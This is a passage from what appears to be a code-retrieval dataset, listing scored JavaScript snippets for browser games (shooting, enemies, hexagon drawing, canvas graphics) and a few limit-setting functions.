rect(this.position.x * pixelSize + pixelSize * 2, this.position.y * pixelSize - pixelSize * 4, pixelSize * 1 + 1, pixelSize + 1);\r\n rect(this.position.x * pixelSize + pixelSize, this.position.y * pixelSize - pixelSize * 3, pixelSize * 3 + 1, pixelSize + 1);\r\n rect(this.position.x * pixelSize, this.position.y * pixelSize - pixelSize, pixelSize * 5 + 1, pixelSize + 1);\r\n break;\r\n\r\n case 2:\r\n fill(colors[0]);\r\n rect(this.position.x * pixelSize + pixelSize, this.position.y * pixelSize - pixelSize * 3, pixelSize + 1, pixelSize + 1);\r\n\r\n fill(colors[1]);\r\n rect(this.position.x * pixelSize + pixelSize * 2, this.position.y * pixelSize - pixelSize * 3, pixelSize * 2 + 1, pixelSize + 1);\r\n\r\n fill(colors[0]);\r\n rect(this.position.x * pixelSize, this.position.y * pixelSize - pixelSize * 2, pixelSize * 5 + 1, pixelSize + 1);\r\n rect(this.position.x * pixelSize, this.position.y * pixelSize - pixelSize, pixelSize * 5 + 1, pixelSize + 1);\r\n\r\n break;\r\n\r\n case 1:\r\n fill(colors[1]);\r\n rect(this.position.x * pixelSize + pixelSize, this.position.y * pixelSize - pixelSize * 3, pixelSize + 1, pixelSize + 1);\r\n\r\n fill(colors[2]);\r\n rect(this.position.x * pixelSize + pixelSize * 2, this.position.y * pixelSize - pixelSize * 3, pixelSize + 1, pixelSize + 1);\r\n\r\n fill(colors[1]);\r\n rect(this.position.x * pixelSize + pixelSize, this.position.y * pixelSize - pixelSize * 2, pixelSize * 4 + 1, pixelSize + 1);\r\n\r\n fill(colors[0]);\r\n rect(this.position.x * pixelSize, this.position.y * pixelSize - pixelSize * 2, pixelSize + 1, pixelSize + 1);\r\n rect(this.position.x * pixelSize, this.position.y * pixelSize - pixelSize, pixelSize * 5 + 1, pixelSize + 1);\r\n\r\n break;\r\n }\r\n }\r\n}", "title": "" }, { "docid": "816ae7f54637c275bcc0adb8cb5d3f0a", "score": "0.56428874", "text": "function addShootEnemy(num,x, y){\n for(let i =0; i < num; i++) {\n let shooty = createSprite(x ? x : Math.random()*width,y ? y : Math.random()*height*.3, 32,32);\n shooty.addAnimation(\"idle\",'./assets/enemy_shoot.png')\n // shooty.setSpeed(.2,Math.random()*1200);\n shooty.setCollider(\"circle\",0,0,16);\n shootenemies.add(shooty);\n }\n}", "title": "" }, { "docid": "df1f8d850eb256aad1b385473f6f0162", "score": "0.56326", "text": "function shootBubble( e ) {\n xChange = ( guideLine.endX - guideLine.baseX ) / guideLine.length() * BUBBLE_SPEED;\n yChange = ( guideLine.endY - guideLine.baseY ) / guideLine.length() * BUBBLE_SPEED;\n this.onMouseDown = null;\n this.update = activeBubbleUpdate;\n}", "title": "" }, { "docid": "a15905868014a497d9aa4ae275b691a9", "score": "0.5624968", "text": "function hexagon(size)\n{\n\tsmall = 10,\n\tlarge = 19;\n\n\tif(size == \"small\")\n\t{\n\t\tfor(y = 0; y < 3; y++)\n\t\tfor(x = 0; x < 4; x++)\n\t\t{\n\n\t\t}\n\t}\n\telse if(size == \"large\")\n\t{\n\t\tfor(y = 0; y < 5; y++)\n\t\tfor(x = 0; x < 4; x++)\n\t\t{\n\t\t\t\n\t\t}\n\t}\n}", "title": "" }, { "docid": "17551eb3e3019475cc3c9890dffce7db", "score": "0.56234425", "text": "function createSawBlade(x,y) {\n var hitZoneSize = 30;\n var damageFromObstacle = 10;\n var myObstacle = game.createObstacle(hitZoneSize,damageFromObstacle);\n myObstacle.x = x;\nmyObstacle.y = y;\ngame.addGameItem(myObstacle);\n var obstacleImage = draw.bitmap('img/sawblade.png');\nmyObstacle.addChild(obstacleImage);\nobstacleImage.x = -25;\nobstacleImage.y = -25;\n }", "title": "" }, { "docid": "9a9454105da699a015cb22c600306f84", "score": "0.5605373", "text": "function fire() {\n\n //check if fired = false\n if (!fired) {\n\n\n //Initialize a shuriken\n if (weapon == \"shuriken\") {\n\n fired = true;\n setTimeout(unfired, 500);\n\n var elem = document.createElement(\"IMG\");\n elem.src = \"../img/Weapons/shuriken.png\";\n elem.className = \"shuriken\";\n elem.speed = 5;\n }\n if (weapon == \"kunai\") {\n\n fired = true;\n setTimeout(unfired, 1000);\n\n var elem = document.createElement(\"IMG\");\n elem.className = \"kunai\"\n elem.speed = 7;\n\n if (direction ==\"UP\") {\n elem.src = \"../img/Weapons/kunai_up.png\";\n elem.style.height = \"60px\";\n elem.style.width = \"20px\";\n }\n if (direction ==\"DOWN\") {\n elem.src = \"../img/Weapons/kunai_down.png\";\n elem.style.height = \"60px\";\n elem.style.width = \"20px\";\n }\n if (direction ==\"LEFT\") {\n elem.src = \"../img/Weapons/kunai_left.png\";\n }\n if (direction ==\"RIGHT\") {\n elem.src = \"../img/Weapons/kunai_right.png\";\n }\n }\n elem.direction = direction;\n elem.posy = hero.offsetTop + 35;\n elem.posx = hero.offsetLeft + 45;\n elem.startposy = hero.offsetTop + 35;\n elem.startposx = hero.offsetLeft + 45;\n mybody.appendChild(elem);\n }\n}", "title": "" }, { "docid": "6c0d5e53476b9a2240708657794aaa97", "score": "0.56048286", "text": "function ShieldHit ( ishieldhitid:int, ishootdir:Vector3, iduration:float )\n\t{\n\t\t// Here we start 2 effects going, and save thier id\\reference in shieldFX1 and shieldFX2 arrays\n\t\n\t\tEchoFXEvent.ShieldHit_echoShader ( this, ishieldhitid, ishootdir, 0.01f, 0.1, iduration );\n\t\tEchoFXEvent.Random_echoUV ( this, iduration );\n\t}", "title": "" }, { "docid": "bd1949fa7606dc895b65b25c6599620a", "score": "0.56044436", "text": "function getHexagonPoints(r, x, y, angle) {\n\tvar points = [];\n\tfor (var i = 0; i < 6; i++) {\n\t\tvar reference = getPointByAngle(r, x, y, angle + 90 + i * 60);\n\t\taddLinePoints(points, reference, angle - 150 + i * 60, (i == 2 || i == 3) ? 8 : 10, r);\n\t}\t\n\treturn points;\n}", "title": "" }, { "docid": "5606b8ba587f89422d0b7555e032d4c2", "score": "0.56029594", "text": "function exercise82()\n{\n let theCanvas = /** @type {HTMLCanvasElement} */ (document.getElementById(\"box8-2\"));\n let thePoints = [ [100,100], [200,100], [200,200], [100,200]];\n // Begin Example Solution\n let context = theCanvas.getContext(\"2d\");\n // Draw the hexagon\n let r = Math.min(theCanvas.width + theCanvas.height) / 8;\n for (let i = 0; i < 6; i ++) \n {\n let theta = i / 6 * 2 * Math.PI;\n thePoints[i] = [theCanvas.width / 2 + r * Math.cos(theta), theCanvas.height / 2 + r * Math.sin(theta)];\n }\n // End Example Solution\n\n function draw() {\n /** student does stuff here **/\n // Begin Example Solution\n context.clearRect(0, 0, theCanvas.width, theCanvas.height);\n let r = 10;\n // Draw a circle for each point\n thePoints.forEach(function(pt)\n {\n context.save();\n context.translate(pt[0], pt[1]);\n context.beginPath();\n context.arc(0, 0, r, 0, 2 * Math.PI);\n context.fill();\n context.restore();\n });\n // Draw a line connecting the points\n context.save();\n let n = thePoints.length - 1;\n context.beginPath();\n context.moveTo(thePoints[n][0], thePoints[n][1]);\n context.lineWidth = r / 2;\n thePoints.forEach(function(pt)\n {\n context.lineTo(pt[0], pt[1]);\n });\n context.stroke();\n context.restore();\n // End Example Solution\n }\n\n draggablePoints(theCanvas,thePoints,draw);\n draw();\n}", "title": "" }, { "docid": "32e07de2568393fb71a6160f95dab4a6", "score": "0.5602168", "text": "function onRightDown() {\n var tile = findHexTile();\n\n if (!checkforBoundary(tile.x, tile.y)) {\n if (checkForOccuppancy(tile.x, tile.y)) {\n if (levelData[tile.x][tile.y] == 10) {\n var hexTile = hexGrid.getByName(\"tile\"+tile.x+\"_\"+tile.y);\n if (!hexTile.revealed) {\n hexTile.rotateTile();\n }\n }\n }\n else {\n var hexTile = hexGrid.getByName(\"tile\"+tile.x+\"_\"+tile.y);\n hexTile.rotateTile();\n }\n }\n}", "title": "" }, { "docid": "df917c6271267efc884edc7dd97fcdb8", "score": "0.56002814", "text": "function gameProcess()\n{\n //Check the ship status\n checkShip();\n\n //Check if the game over\n if (!isBattle)\n return;\n\n var i, j, k, target, ray;\n\n for (i = 0; i < player_ship_list.length; i++)\n {\n //Select the target ship\n target = player_ship_list[i].selectTarget(computer_ship_list);\n\n //Check if perform the cannon attack, and draw the cannon\n var coordinates = player_ship_list[i].laserAttack(computer_ship_list[target]);\n if (coordinates)\n {\n for (j = 0; j < coordinates.length; j++)\n {\n var new_cannon_projectile = new cannon(1, coordinates[j][0], coordinates[j][1], 2);\n //Check if hit the ship\n if (coordinates[j][2])\n new_cannon_projectile.setHit(0, target);\n scene.add(new_cannon_projectile.Geometry);\n projectile_list.push(new_cannon_projectile);\n }\n\n }\n\n //Check if perform iron attack\n coordinates = player_ship_list[i].ironAttack(computer_ship_list[target]);\n if (coordinates)\n {\n var new_laser = new laser(coordinates[0], coordinates[1], 2, 0.05, 0x00c3ff);\n computer_ship_list[target].receiveDamage(5);\n scene.add(new_laser.model);\n laser_list.push(new_laser);\n }\n\n //Call the cool down function\n player_ship_list[i].countdown();\n }\n\n for (i = 0; i < computer_ship_list.length; i++)\n {\n //Select the target ship\n target = computer_ship_list[i].selectTarget(player_ship_list);\n\n //Check if perform the cannon attack\n coordinates = computer_ship_list[i].laserAttack(player_ship_list[target]);\n if (coordinates)\n {\n for (j = 0; j < coordinates.length; j++)\n {\n new_cannon_projectile = new cannon(1, coordinates[j][0], coordinates[j][1], 2);\n if (coordinates[j][2])\n new_cannon_projectile.setHit(1, target);\n scene.add(new_cannon_projectile.Geometry);\n projectile_list.push(new_cannon_projectile);\n }\n\n }\n\n //Check if perform iron attack\n coordinates = computer_ship_list[i].ironAttack(player_ship_list[target]);\n if (coordinates) \n {\n new_laser = new laser(coordinates[0], coordinates[1], 2, 0.05, 0xff0000);\n player_ship_list[target].receiveDamage(5);\n scene.add(new_laser.model);\n laser_list.push(new_laser);\n }\n\n //Call the cool down function\n computer_ship_list[i].countdown();\n }\n\n checkLaser();\n\n checkProjectile();\n\n checkExplosion(); \n}", "title": "" }, { "docid": "d98a4b104fdd1cb8a4a031e6130e5101", "score": "0.5598277", "text": "function shoot(_temp) {\r\n var _r = doInt(_temp.charAt(0));\r\n var _c = parseInt(_temp.charAt(1)); \r\n var strike_id = 'c' + _r + _c; // build up our ID as a string\r\n doMessage(''); // reset the message field\r\n doTurn(_r, _c, strike_id); // \r\n}", "title": "" }, { "docid": "7ffa8c517447b2f0e7d8307e73d12cb5", "score": "0.5598134", "text": "function drawEnemy(obj){\n ctx.beginPath();\n ctx.arc(obj.x,obj.y,enemy.diameter,0,Math.PI*2);\n ctx.fillStyle = \"#000000\";\n if (obj.host){\n ctx.fillStyle =\"#000000\"\n }\n ctx.fill();\n ctx.closePath() \n }", "title": "" }, { "docid": "e0946783d94d6a07eb3c234091a4a668", "score": "0.5586926", "text": "function drawHex(){\r\n\tclearCanvas();\r\n\tvar numberOfSides = 6,\r\n size = 20,\r\n Xcenter = 25,\r\n Ycenter = 25;\r\n\t\r\n\tctx.beginPath();\r\n\tctx.moveTo (Xcenter + size * Math.cos(0), Ycenter + size * Math.sin(0)); \r\n\r\n\tfor (var i = 1; i <= numberOfSides;i += 1) {\r\n \tctx.lineTo (Xcenter + size * Math.cos(i * 2 * Math.PI / numberOfSides), Ycenter + size * Math.sin(i * 2 * Math.PI / numberOfSides));\r\n\t}\r\n\tctx.stroke();\t\r\n}", "title": "" }, { "docid": "276e6450d1d20790cd7f2dfd2d44162a", "score": "0.5584464", "text": "static fire(pos, angle, power){\n\t\tvar p = new Projectile(pos);\n\t\tp.vel = vec2.fromAng(angle, power);\n\t\tprojectiles.push(p);\n\t}", "title": "" }, { "docid": "de6bd97e9329b4908e3ec4e1b1522bdd", "score": "0.5580772", "text": "function createTieHitBox(){\n fill(0,0,0,0);\n ellipse(tieX, tieY, 50, 50);\n}", "title": "" }, { "docid": "f730c38e0b1167e7b1abdf79f067e963", "score": "0.55788624", "text": "function ShotEnemy() {\n}", "title": "" }, { "docid": "239c497cf006fd0e54418dd0eec5899d", "score": "0.5578263", "text": "function create() {\n game.stage.backgroundColor = 0x000000 // black\n\n // Create the asteroids. We divide the canvas into rows,\n // one for each asteroid.\n var asteroidSpacing = game.height / NUM_ASTEROIDS\n\n for (var i = 0; i < NUM_ASTEROIDS; i++) {\n var x = game.rnd.realInRange(0, game.width)\n var y = i * asteroidSpacing\n\n // Don't let player start the game inside an asteroid!\n // Add half a screen of empty space by moving all asteroids up.\n y -= 0.5 * game.height\n\n var gfx = game.add.graphics(x, y)\n\n gfx.beginFill(0x806850, 1) // light brownish\n gfx.drawEllipse(0, 0, ASTEROID_RADIUS, ASTEROID_RADIUS+5)\n gfx.endFill()\n\n asteroids.push({\n gfx: gfx,\n spinSpeed: game.rnd.realInRange(-1, 1),\n })\n }\n\n // Create the ship graphics.\n ship.gfx = game.add.graphics(game.width/2, game.height - 80)\n\n // Draw the darker wings of the spaceship.\n ship.gfx.beginFill(0x606060, 1) // darker grey\n ship.gfx.moveTo( 0, -25)\n ship.gfx.lineTo( 28, 14)\n ship.gfx.lineTo( 24, 20)\n ship.gfx.lineTo(-24, 20)\n ship.gfx.lineTo(-28, 14)\n ship.gfx.endFill()\n\n // Draw the lighter body of the spaceship.\n ship.gfx.beginFill(0x909090, 1) // lighter grey\n ship.gfx.drawRect( -12, -10, 24, 30)\n ship.gfx.drawEllipse(0, -10, 12, 17)\n ship.gfx.endFill()\n\n // Draw the cockpit of the spaceship.\n ship.gfx.lineStyle(1.5, 0x000000, 0.3) // 1.5px, faded black\n ship.gfx.beginFill(0xC0FFEE, 1) // light cyan, of course\n ship.gfx.drawEllipse(0, -10, 7, 12)\n ship.gfx.endFill()\n ship.gfx.lineStyle(0, 0, 0) // no line drawing\n\n // Draw the shield around the spaceship.\n ship.gfx.beginFill(0x80B0FF, 0.3) // faded blue/cyan\n ship.gfx.drawEllipse(0, 0, SHIP_RADIUS, SHIP_RADIUS)\n ship.gfx.endFill()\n\n // Create the text object for displaying the current score.\n scoreText = game.add.text(10, 10, 'Score: 0')\n scoreText.font = 'Verdana'\n scoreText.fontSize = 14\n scoreText.fill = 'white'\n\n // Create the text object for displaying the high score.\n highScoreText = game.add.text(game.width - 10, 10,\n 'High Score: ' + getHighScore())\n highScoreText.font = 'Verdana'\n highScoreText.fontSize = 14\n highScoreText.fill = 'white'\n highScoreText.anchor.x = 1\n\n // Listen to the gamepad.\n game.input.gamepad.start()\n gamepad = game.input.gamepad.pad1\n gamepad.deadZone = 0.1\n }", "title": "" }, { "docid": "3fbf28b83c8a9ee907e9fb64800d4028", "score": "0.55772805", "text": "function hittingstuuf(){\nif((xball>x2 && xball<x2+10)&&(yball+yball/2)>=y2){\n xSpeed *=-1;\n ySpeed *=-1;\n}\n\nif((xball>x*9.5 && xball<x*9.5+10)&&(yball+yball/2)>=y){\n xSpeed *=-1;\n ySpeed *=-1;\n}\n\n}", "title": "" }, { "docid": "d2fafd968ce06a74f1179fa7a7797205", "score": "0.5574493", "text": "function hexagon(first, second, third, operation) {\n ctx.beginPath();\n ctx.moveTo(50, third);\n ctx.lineTo(first, third);\n ctx.lineTo(first + second, third + second);\n ctx.lineTo(first, third + (second * 2));\n ctx.lineTo(50, third + (second * 2));\n ctx.lineTo(50 - third, third + second);\n ctx.closePath();\n\n ctx.globalCompositeOperation = operation;\n ctx.fillStyle = \"FFCC00\";\n ctx.fill();\n}", "title": "" }, { "docid": "0b9aa7c90b9e8d107cf590c24f731fda", "score": "0.5564346", "text": "function drawShootingStar(p) {\n var x = p.x,\n y = p.y,\n currentTrailLength = (maxTrailLength * p.trailLengthDelta),\n pos = lineToAngle(x, y, -currentTrailLength, p.getHeading());\n\n context.fillStyle = \"rgba(255, 255, 255, \" + p.opacity + \")\";\n var starLength = 5;\n context.beginPath();\n context.moveTo(x - 1, y + 1);\n\n context.lineTo(x, y + starLength);\n context.lineTo(x + 1, y + 1);\n\n context.lineTo(x + starLength, y);\n context.lineTo(x + 1, y - 1);\n\n context.lineTo(x, y + 1);\n context.lineTo(x, y - starLength);\n\n context.lineTo(x - 1, y - 1);\n context.lineTo(x - starLength, y);\n\n context.lineTo(x - 1, y + 1);\n context.lineTo(x - starLength, y);\n\n context.closePath();\n context.fill();\n\n //trail of shooting Stars\n context.fillStyle = \"rgba(255, 221, 157, \" + p.opacity + \")\";\n context.beginPath();\n context.moveTo(x - 1, y - 1);\n context.lineTo(pos.x, pos.y);\n context.lineTo(x + 1, y + 1);\n context.closePath();\n context.fill();\n }", "title": "" }, { "docid": "2b1049e192a59d361993661b96e640c7", "score": "0.5558574", "text": "function enemyMove01( obj ) {\r\n\r\n if ( !obj.flag ) {\r\n //The enemy will approach to jiki, if the enemies are far from jiki\r\n if ( obj.x < jiki.x && obj.vectorX < 120 ) {\r\n obj.vectorX += 4; \r\n } else if ( jiki.x < obj.x && -120 < obj.vectorX ) {\r\n obj.vectorX -= 4;\r\n }\r\n } else {\r\n //The enemies will escape, if the enemies are near jiki\r\n if ( jiki.x < obj.x && obj.vectorX < 400 ) {\r\n obj.vectorX += 30; \r\n } else if ( obj.x < jiki.x && -400 < obj.vectorX ) {\r\n obj.vectorX -= 30;\r\n }\r\n }\r\n \r\n if ( Math.abs(jiki.y - obj.y) < (100<<8) && !obj.flag ) {//If the enemies come near to jiki within 100px\r\n obj.flag = true;\r\n enemyShot( obj, 600 );\r\n \r\n }\r\n\r\n if ( obj.flag && -800 < obj.vectorY ) {//The enemies will escape, once they come to near the sprite\r\n obj.vectorY -= 30;\r\n }\r\n\r\n //Enemy image looks flapping\r\n const enemyPattern = [ 39, 40, 39, 41 ];\r\n obj.spriteIndex = enemyPattern[ (obj.count>>3) & 3 ];//\"...&3\" is same as \"...%4\"\r\n}", "title": "" }, { "docid": "137e63e5412608f1cfe496ec50db78f2", "score": "0.5551147", "text": "function start(){\n //creates the variables centerX and centerY\n\tvar centerX = getWidth()/2;\n\tvar centerY = getHeight()/2;\n\t//creats the ghosts using the drawGhost function\n\tdrawGhost(centerX, centerY, Color.red);\n\tdrawGhost(100,100, Color.green);\n\tdrawGhost(300,200, Color.black);\n\tdrawGhost(40,300, Color.orange);\n\tdrawGhost(300,50,Color.yellow);\n}", "title": "" }, { "docid": "10b4d9c386293304ab8d87d0dce0a259", "score": "0.5548028", "text": "function paintHeroShots(heroShots, enemies) {\n\t\t// console.log(heroShots);\n\n\theroShots.forEach(function(shot) {\n\t\tfor ( var l = 0; l < enemies.length; l++){\n\t\t\tvar enemy = enemies[l];\n\t\t\tif(!enemy.isDead && collision(shot, enemy)) {\n\t\t\t\tScoreSubject.onNext(SCORE_INCREASE);\n\t\t\t\tenemy.isDead = true;\n\t\t\t\tshot.x = shot.y = -100;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\tshot.y -= SHOOTING_SPEED;\n\t\tdrawTriangle(shot.x, shot.y, 5, '#ffff00', 'up');\n\t});\n}", "title": "" }, { "docid": "8a8047de88bf03215aee4bcd9614e761", "score": "0.554632", "text": "function createshot() {\r\n shot = createSprite(width-130, 200, 10, 20);\r\n shot.lifetime = 150;\r\n shot.scale = 0.1;\r\n shot.velocityX = -6;\r\n shot.addImage(\"shot\", arrowImage);\r\n shotGroup.add(shot);\r\n}", "title": "" }, { "docid": "2d547038cbace98f93f25d8693fbcb7d", "score": "0.5544977", "text": "function enemy_attack(enemy_victory){\r\n \r\n//********************* Static variables for the preservation of attack conditions ************************************\r\n if(typeof enemy_attack.sink_seek == 'undefined') //It indicates whether machine is attempting to shoot down a particular ship.\r\n enemy_attack.sink_seek = false;\r\n if(typeof enemy_attack.last_shot_x == 'undefined') //It stores the first position where the currently attacked ship was found ('x' axis).\r\n enemy_attack.last_shot_x = 0;\r\n if(typeof enemy_attack.last_shot_y == 'undefined') //Idem for 'y' axis.\r\n enemy_attack.last_shot_y = 0;\r\n \r\n var valid; //Flag to control the mainly loop exit.\r\n \r\n if(enemy_victory) //If the machine has already won, it returns.\r\n return false;\r\n \r\n if(!enemy_attack.sink_seek){ //It begins the random attack when there is no found ship to be sunken.\r\n \r\n valid = false;\r\n \r\n do{\r\n var shot = Math.trunc(Math.random() * 100); //Random position to attack.\r\n var shot_x = Math.trunc(shot / 10);\r\n var shot_y = shot % 10;\r\n \r\n if(own_board[shot_x][shot_y] == \"w\"){ //It records the missed shots.\r\n \r\n own_board[shot_x][shot_y] = \"f\";\r\n \r\n own_squares[shot].classList.toggle(\"water\");\r\n \r\n audio_pause();\r\n water_sound.play();\r\n \r\n sign(\"Water!\");\r\n \r\n valid = true;\r\n \r\n }else if(own_board[shot_x][shot_y] == \"f\" || own_board[shot_x][shot_y] == \"t\") //If the random shot was previously attempted, the general loop must restart.\r\n valid = false;\r\n \r\n else{ //It manages the hits.\r\n \r\n audio_pause();\r\n bang_sound.play();\r\n \r\n own_squares[shot].style.backgroundImage=\"url(images/touched.png)\"; //It changes the shooted locker appearance.\r\n own_squares[shot].classList.toggle(\"touched\");\r\n \r\n own_fleet[own_board[shot_x][shot_y]].state_manager(); //It controls the state of shooted Ship object.\r\n \r\n if(own_fleet[own_board[shot_x][shot_y]].state == \"touched\"){ //It manages the user board changes.\r\n \r\n sign(\"Touched!\");\r\n \r\n own_board[shot_x][shot_y] = \"t\";\r\n \r\n enemy_attack.sink_seek = true; //It establishes that the touched ship must still be sunk.\r\n \r\n last_shot_x = shot_x; //It stores the first position where the currently attacked ship was found.\r\n last_shot_y = shot_y;\r\n \r\n valid = true;\r\n }else{ //If ship was sunken (only for boats), it overwrites the user board and returns \"true\".\r\n \r\n sign(\"Sunken!\");\r\n \r\n overwrite_adjacent_places(own_fleet[own_board[shot_x][shot_y]]);\r\n \r\n valid = true;\r\n \r\n return true;\r\n }\r\n }\r\n }while(valid == false);\r\n \r\n return false;\r\n }else{ //If the machine is attempting to sink a particular ship, it calls the special function. \r\n \r\n if(to_sink(last_shot_x, last_shot_y)){ //If the ship was sunken, it enables the random shots and return \"true\" for the father function to increment the user sunken counter.\r\n \r\n enemy_attack.sink_seek = false;\r\n return true;\r\n }else\r\n return false;\r\n }\r\n}", "title": "" }, { "docid": "c7727861c4621bcc1efe910a76246dd6", "score": "0.55414045", "text": "function doClick(){\r\n \r\n\t\ttheta = Math.atan2(mousey - Tank.y,mousex - Tank.x);\r\n\t\tEmpty = function() {};\r\n\t\tEmpty.prototype = aBomb;\r\n\t\tbomb = new Empty();\r\n\t\tbomb.x = Tank.x + Tank.radius * Math.cos(theta);\r\n\t\tbomb.y = Tank.y + Tank.radius * Math.sin(theta);\r\n\t\tbomb.vX = aBomb.speed * Math.cos(theta);\r\n\t\tbomb.vY = aBomb.speed * Math.sin(theta);\r\n\t\tdx = mousex - bomb.x ;\r\n\t\tdy = mousey - bomb.y ;\r\n\t\tbomb.steps = Math.sqrt(dx*dx+dy*dy)/aBomb.speed;\r\n\t\tStuff.push(bomb);\r\n }", "title": "" }, { "docid": "c6b0080d117f5c665c0e1a84d49ffce0", "score": "0.55411386", "text": "function invader_fire() {\r\n inv_fire_pause -= 1;\r\n\r\n if (!(inv_fired)) { // so once invader shot is fired it doesn't follow the invader still\r\n inv_shot_x = inv_x + 8;\r\n inv_shot_y = inv_y + 18;\r\n }\r\n\r\n if (inv_fire_pause < 0) {\r\n inv_fired = true;\r\n inv_shot_y += 8;\r\n }\r\n}", "title": "" }, { "docid": "2a19dace04ab177bf666c3a82536030a", "score": "0.55390036", "text": "function hostChaseOsi(){\n for(var i = 0; i < enemies.length; i++){\n var currentEnemy = enemies[i];\n //Enemies are pulled to Host\n drawEnemy(currentEnemy);\n if(currentEnemy.host && currentEnemy.x > osi.x){\n host.x -= hostSpeed\n }else if(currentEnemy.host && currentEnemy.x < osi.x){\n host.x += hostSpeed\n }\n if(currentEnemy.host && currentEnemy.y> osi.y){\n host.y -= hostSpeed\n }else if(currentEnemy.host && currentEnemy.y< osi.y){\n host.y += hostSpeed\n }\n }\n }", "title": "" }, { "docid": "5b9f2df8477956d85758ac0770d8929a", "score": "0.5537184", "text": "function playerShoot() {\n let playerPos = Point.styleToPoint(player.style);\n for(let i = -(PLAYER_SHOOT_COUNT - 1)/2; i <= (PLAYER_SHOOT_COUNT - 1)/2; i++) {\n spawnBullet(true, playerPos.copy(),\n (new Point(i * i * i, -10 * i * i - 1)).normalize().scale(PLAYER_SHOOT_SPEED),\n new Point(0, 0));\n }\n }", "title": "" }, { "docid": "4697cb661857c537e31b081c339e36f2", "score": "0.5535685", "text": "function hozCorridor(x1, x2, y) {\n let startPath = Math.min(x1, x2);\n let endPath = Math.max(x1, x2);\n for(let i=startPath; i<endPath+1; i++){\n dungeon[y][i] = 1;\n }\n}", "title": "" }, { "docid": "3f8ac100f279af4a0db85af4e1fee915", "score": "0.5534879", "text": "function random_fire(enemy){ //fires projectiles in random directions //takes enemy_pos[i] as input\r\n\tvar temp_delay = Math.floor(Math.random()*100); //slows down fire rate and makes the timing random\r\n\tif(temp_delay < 5){\r\n\t\tenemy_angle = ((Math.atan2((enemy[1]-Math.floor(Math.random()*100)),(Math.floor(Math.random()*100)-enemy[0]))/(Math.PI/180))+360)%360; //see clickhandler() for more details\r\n\t\tenemy_projectile.push([0,0,0,0,0]); //adds new projectile to array\r\n\t\tenemy_projectile[enemy_projectile.length -1][0] = enemy[0]; //current enemy x coor\r\n\t\tenemy_projectile[enemy_projectile.length -1][1] = enemy[1]; //current enemy y coor\r\n\t\tenemy_projectile[enemy_projectile.length -1][2] = enemy_angle; //angle to fire at\r\n\t\tenemy_projectile[enemy_projectile.length -1][3] = 0; //new x coor\r\n\t\tenemy_projectile[enemy_projectile.length -1][4] = 0; //new y coor\r\n\t}\r\n}", "title": "" }, { "docid": "2a75c6d89a0af4c4cdeb90c2c7337b28", "score": "0.5533499", "text": "function draw() {\n \n // console.log(\"Potential Velocity Added: \" + Math.hypot(velXAdded(), velYAdded()))\n \n // Updating\n click_multiplier = speed_slider.value; // Set click multiplier equal to value of slider\n \n if (!hole()) {\n updatePosition();\n }\n \n // Drawing\n background(\"green\"); // Backgroud\n stroke(\"black\"); // Hole outline\n fill(\"black\"); // Hole color\n ellipse(hole_x, hole_y, hole_radius*2, hole_radius*2); // Hole\n stroke(\"black\");\n fill(\"white\");\n ellipse(x, y, (radius-animation)*2, (radius-animation)*2);\n \n obstacles.forEach(drawObstacle);\n}", "title": "" } ]
12935d0d3acc0075a0201a325928ff67
prevent a limit of 0, reset it to client default
[ { "docid": "6f67e1950583148462478292e6c7c7d8", "score": "0.7484205", "text": "function validateLimit(scope){\n if(scope.query.limit == 0){\n console.log(\"Resetting to default CLIENT_RESULTS_LIMIT, cannot query API with a 0 limit\")\n scope.query.limit = CLIENT_RESULTS_LIMIT;\n }\n }", "title": "" } ]
[ { "docid": "081f9aa41676d32ea9d550f3969851dc", "score": "0.6987931", "text": "setOverdraftlimit(value){\n this._overdraftlimit = value;\n }", "title": "" }, { "docid": "718f64b077180524bc59ad369cc17c92", "score": "0.6703589", "text": "function resetSpamLimit() {\n yeetLimit = 0;\n}", "title": "" }, { "docid": "ffd88bd0cbd6ce207f5f2dbca7e92a1a", "score": "0.6656866", "text": "set limit(value) { return this.limit; }", "title": "" }, { "docid": "474705ee51b719017fdeb79e13b17f6b", "score": "0.6633826", "text": "async setWaitlistLimit(limit) {\n if (this.limit === undefined) throw new this.ConnectionError();\n this.limit = limit;\n }", "title": "" }, { "docid": "2a9b36fd29dd902419d8cfc082ec030f", "score": "0.65863657", "text": "function validateLimit() {\n\t\t\t$log.debug('validateLimit');\n\t\t\tvm.hmLimit = (vm.hmLimit && vm.hmLimit <= 0) ? undefined : vm.hmLimit;\n\t\t}", "title": "" }, { "docid": "7909ce1972fd36fee4dbe686cacd35e0", "score": "0.6561922", "text": "limit(value) {\n const val = parseInt(value, 10);\n if (isNaN(val)) {\n this.client.logger.warn('A valid integer must be provided to limit');\n } else {\n this._single.limit = val;\n }\n return this;\n }", "title": "" }, { "docid": "df6ae10eb0a5254631b66d8b3feca163", "score": "0.65301114", "text": "set requestlimit(intege) {\n this._threadlimit = intege;\n }", "title": "" }, { "docid": "d244b2285a90dc671c8a0ed4058cdfd3", "score": "0.63676685", "text": "function handleLimitChange(event) {\n event.preventDefault();\n if (event.target.value === \"\") {\n setLimit(null);\n return;\n }\n setLimit(event.target.value);\n }", "title": "" }, { "docid": "4058f8e4fdd902dda9384bec0bd05374", "score": "0.63231915", "text": "limit() {\n return [{}, { limit: DEFAULT_LIMIT }, {}];\n }", "title": "" }, { "docid": "f882d939403af71f542c2d57f2feb184", "score": "0.62994736", "text": "get limit() { return (typeof this.initOwned == \"number\" ) ? Infinity // Default is no limit for numbers\r\n\t\t\t\t\t : (typeof this.initOwned == \"boolean\") ? true : 0; }", "title": "" }, { "docid": "3eb785e51e8b5f04f0dd5c3322d7b8be", "score": "0.629575", "text": "function setMqmLimit() {\n const limitElt = document.getElementById('mqm-limit');\n const limit = limitElt.value.trim();\n if (limit > 0) {\n mqmLimit = limit;\n mqmShow();\n } else {\n limitElt.value = mqmLimit;\n }\n}", "title": "" }, { "docid": "302ed32ff6b85fb6b10b13a583f8e36f", "score": "0.6290093", "text": "static get maxLimit() {\n return 2099999997690000;\n }", "title": "" }, { "docid": "6c7614905fea992303863c4bd5f53d97", "score": "0.6247572", "text": "set autoMax(value) {\n if (value < 0) value = -1;\n this._autoMax = value;\n }", "title": "" }, { "docid": "6c7614905fea992303863c4bd5f53d97", "score": "0.6247572", "text": "set autoMax(value) {\n if (value < 0) value = -1;\n this._autoMax = value;\n }", "title": "" }, { "docid": "5184c6af534b90d71e12ca429420d46c", "score": "0.62102956", "text": "static get defaultLimitOnQueries () { return 50 }", "title": "" }, { "docid": "c80996fbfcf30d1f311d31fd46508c56", "score": "0.6201979", "text": "function 